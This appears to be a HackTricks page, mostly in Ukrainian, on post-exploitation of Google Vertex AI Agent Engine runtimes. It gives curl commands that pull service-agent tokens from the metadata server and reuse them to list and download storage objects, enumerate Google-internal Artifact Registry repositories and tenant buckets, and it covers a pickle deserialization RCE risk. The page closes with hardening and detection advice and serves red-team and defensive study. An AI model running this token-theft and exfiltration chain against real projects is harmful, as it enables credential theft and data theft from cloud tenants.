GCP - Vertex AI Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Vertex AI Agent Engine / Reasoning Engine

Ця сторінка зосереджена на Vertex AI Agent Engine / Reasoning Engine workloads, які запускають attacker-controlled tools or code всередині Google-managed runtime.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Чому цей сервіс особливий

Agent Engine вводить корисну, але небезпечну схему: developer-supplied code, що виконується всередині managed Google runtime з Google-managed identity.

Цікаві межі довіри:

  • Consumer project: your project and your data.
  • Producer project: Google-managed project operating the backend service.
  • Tenant project: Google-managed project dedicated to the deployed agent instance.

Згідно з документацією Vertex AI IAM від Google, ресурси Vertex AI можуть використовувати Vertex AI service agents як ідентичності ресурсів, і ці service agents за замовчуванням можуть мати read-only access to all Cloud Storage resources and BigQuery data in the project. Якщо код, що виконується всередині Agent Engine, може вкрасти runtime credentials, цей доступ за замовчуванням стає негайно цікавим.

Головний шлях зловживання

  1. Розгорнути або змінити агент так, щоб attacker-controlled tool code виконувався всередині managed runtime.
  2. Опитати metadata server, щоб відновити project identity, service account identity, OAuth scopes і access tokens.
  3. Повторно використати вкрадений токен як Vertex AI Reasoning Engine P4SA / service agent.
  4. Перейти в consumer project і прочитати project-wide storage data, дозволені service agent.
  5. Перейти в середовища producer та tenant, доступні тією ж ідентичністю.
  6. Перерахувати внутрішні Artifact Registry пакети та витягти артефакти розгортання tenant, такі як Dockerfile.zip, requirements.txt, and code.pkl.

Це не просто проблема “run code in your own agent”. Ключова проблема — поєднання:

  • облікові дані, доступні через metadata
  • широкі привілеї service-agent за замовчуванням
  • широкі OAuth scopes
  • межі довіри між кількома проектами, приховані за одним керованим сервісом

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Якщо у вас є token з доступом до Vertex AI, безпосередньо перелічіть Reasoning Engine API:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Перевірте журнали розгортання, оскільки вони можуть leak internal producer Artifact Registry paths, що використовуються під час упаковки або при запуску:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Дослідження Unit 42 зафіксувало внутрішні шляхи, такі як:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Крадіжка облікових даних Metadata з runtime

Якщо ви можете виконувати код всередині agent runtime, спочатку опитайте metadata service:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Цікаві поля включають:

  • ідентифікатори проєкту
  • приєднаний service account / service agent
  • OAuth scopes, доступні для runtime

Потім запросіть токен для приєднаної ідентичності:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Перевірте токен і перегляньте надані scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google змінив частини робочого процесу розгортання ADK після того, як дослідження було опубліковано, тому точні старі фрагменти розгортання можуть більше не відповідати поточному SDK. Важливий примітив залишається тим самим: якщо код під контролем атакуючого виконується всередині Agent Engine runtime, облікові дані, отримані з метаданих, стають доступними, якщо додаткові контролі не блокують цей шлях.

Перекид у consumer-проєкт: викрадення даних сервісного агента

Після того як runtime-токен вкрадено, перевірте фактичні права доступу сервісного агента до consumer-проєкту.

Документована ризикована можливість за замовчуванням — широкі права читання до даних проєкту. Дослідження Unit 42 конкретно підтвердило:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Практична перевірка зі вкраденим токеном:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Це перетворює скомпрометований або зловмисний агент на project-wide storage exfiltration primitive.

Producer-project pivot: доступ до внутрішнього Artifact Registry

Та сама вкрадена ідентичність може також спрацювати проти Google-managed producer resources.

Почніть із перевірки URI внутрішніх репозиторіїв, відновлених з логів. Потім перелічуйте пакети за допомогою Artifact Registry API:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Якщо у вас є лише raw bearer token, викликайте REST API безпосередньо:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Це цінно навіть якщо write access заблоковано, оскільки це розкриває:

  • внутрішні назви образів
  • застарілі образи
  • структура ланцюга постачання
  • перелік пакетів/версій для подальших досліджень

Для додаткової інформації про Artifact Registry див.:

GCP - Artifact Registry Enum

Перехід через tenant-project: отримання артефактів розгортання

Розгортання Reasoning Engine також залишають цікаві артефакти в tenant project, яким керує Google для цього екземпляра.

Дослідження Unit 42 виявило:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Використайте stolen token для перелічення доступних сховищ і пошуку артефактів розгортання:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Артефакти з проєкту орендаря можуть розкрити:

  • внутрішні назви bucket-ів
  • внутрішні посилання на образи
  • припущення щодо пакування
  • списки залежностей
  • серіалізований код агента

Блог також помітив внутрішнє посилання на зразок:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Навіть коли згаданий restricted bucket недоступний для читання, ті leaked paths допомагають скласти карту внутрішньої інфраструктури.

code.pkl and conditional RCE

Якщо конвеєр розгортання зберігає виконуваний стан агента у форматі Python pickle, вважайте це високоризиковою ціллю.

Негайна проблема — конфіденційність:

  • офлайн-десеріалізація може розкрити структуру коду
  • формат пакета leaks деталі реалізації

Набагато серйозніша проблема — conditional RCE:

  • якщо зловмисник може підтасувати серіалізований артефакт до service-side десеріалізації
  • і pipeline пізніше завантажує той pickle
  • всередині керованого середовища виконання стає можливим виконання довільного коду

Це не є самостійним експлоїтом. Це dangerous deserialization sink, який стає критичним у поєднанні з будь-яким примітивом запису артефактів або підтасування в supply-chain.

OAuth scopes and Workspace blast radius

Відповідь метаданих також розкриває OAuth scopes, приєднані до runtime.

Якщо ці scopes ширші за мінімально потрібні, вкрадений токен може стати корисним не лише проти GCP APIs. IAM все ще вирішує, чи авторизована ідентичність, але широкі scopes збільшують радіус ураження й роблять подальші неправильні конфігурації більш небезпечними.

Якщо ви знаходите Workspace-related scopes, перевірте, чи компрометована ідентичність також має шлях до Workspace impersonation або делегованого доступу:

GCP <–> Workspace Pivoting

Hardening / detection

Prefer a custom service account over the default managed identity

Документація Agent Engine наразі підтримує налаштування custom service account для розгорнутого агента. Це найчистіший спосіб зменшити радіус ураження:

  • усунути залежність від стандартного широкого service agent
  • надати лише мінімальні дозволи, необхідні агенту
  • зробити ідентичність середовища виконання підзвітною для аудиту й цілеспрямовано обмеженою

Validate the actual service-agent access

Перевірте ефективний доступ Vertex AI service agent у кожному проекті, де використовується Agent Engine:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Зосередьтеся на тому, чи може пов’язана ідентичність читати:

  • all GCS buckets
  • BigQuery datasets
  • Artifact Registry repositories
  • secrets or internal registries reachable from build/deployment workflows

Розглядайте код агента як привілейований виконуваний код

Any tool/function executed by the agent should be reviewed as if it were code running on a VM with metadata access. На практиці це означає:

  • перевіряти інструменти агента на прямий HTTP-доступ до metadata endpoints
  • перевіряти логи на наявність посилань на внутрішні pkg.dev repositories та tenant buckets
  • перевіряти будь-який шлях пакування, який зберігає виконуваний стан як pickle

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks